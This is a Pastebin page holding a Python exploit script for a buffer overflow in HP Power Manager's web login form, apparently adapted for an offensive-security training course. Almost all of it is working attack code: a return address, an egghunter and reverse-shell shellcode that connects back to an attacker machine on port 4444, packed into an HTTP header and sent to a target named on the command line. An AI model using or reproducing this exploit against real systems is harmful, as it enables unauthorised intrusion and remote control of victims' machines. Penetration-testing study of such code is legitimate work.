Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import sys
- from socket import *
- print "HP Power Manager Administration Universal Buffer Overflow Exploit"
- print "ryujin __A-T__ offensive-security.com"
- print "-modified for offsec course"
- try:
- HOST = sys.argv[1]
- except IndexError:
- print "Usage: %s HOST" % sys.argv[0]
- sys.exit()
- # met rvs shell to 4444
- PORT = 80
- RET = "\xCF\xBC\x08\x76" # 7608BCCF JMP ESP MSVCP60.dll
- SHELL = ""
- SHELL += "n00bn00b"
- SHELL += "\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
- SHELL += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
- SHELL += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
- SHELL += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
- SHELL += "\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59"
- SHELL += "\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01"
- SHELL += "\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0"
- SHELL += "\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58"
- SHELL += "\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
- SHELL += "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
- SHELL += "\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33"
- SHELL += "\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
- SHELL += "\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
- SHELL += "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40"
- SHELL += "\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
- SHELL += "\xa8\x10\x1b\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
- SHELL += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff"
- SHELL += "\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00"
- SHELL += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
- SHELL += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
- SHELL += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
- SHELL += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec"
- SHELL += "\xc3"
- EH ='\x33\xD2\x90\x90\x90\x42\x52\x6a'
- EH +='\x02\x58\xcd\x2e\x3c\x05\x5a\x74'
- EH +='\xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
- EH +='\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
- evil = "POST http://%s/goform/formLogin HTTP/1.1\r\n"
- evil += "Host: %s\r\n"
- evil += "User-Agent: %s\r\n"
- evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
- evil += "Accept-Language: en-us,en;q=0.5\r\n"
- evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
- evil += "Keep-Alive: 300\r\n"
- evil += "Proxy-Connection: keep-alive\r\n"
- evil += "Referer: http://%s/index.asp\r\n"
- evil += "Content-Type: application/x-www-form-urlencoded\r\n"
- evil += "Content-Length: 678\r\n\r\n"
- evil += "HtmlOnly=true&Password=admin&loginButton=Submit+Login&Login=admin"
- evil += "\x41"*256 + RET + "\x90"*32 + EH + "\x42"*287 + "\x0d\x0a"
- evil = evil % (HOST,HOST,SHELL,HOST)
- s = socket(AF_INET, SOCK_STREAM)
- s.connect((HOST, PORT))
- print '[+] Sending evil buffer...'
- s.send(evil)
- print s.recv(1024)
- print "[+] Done!"
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement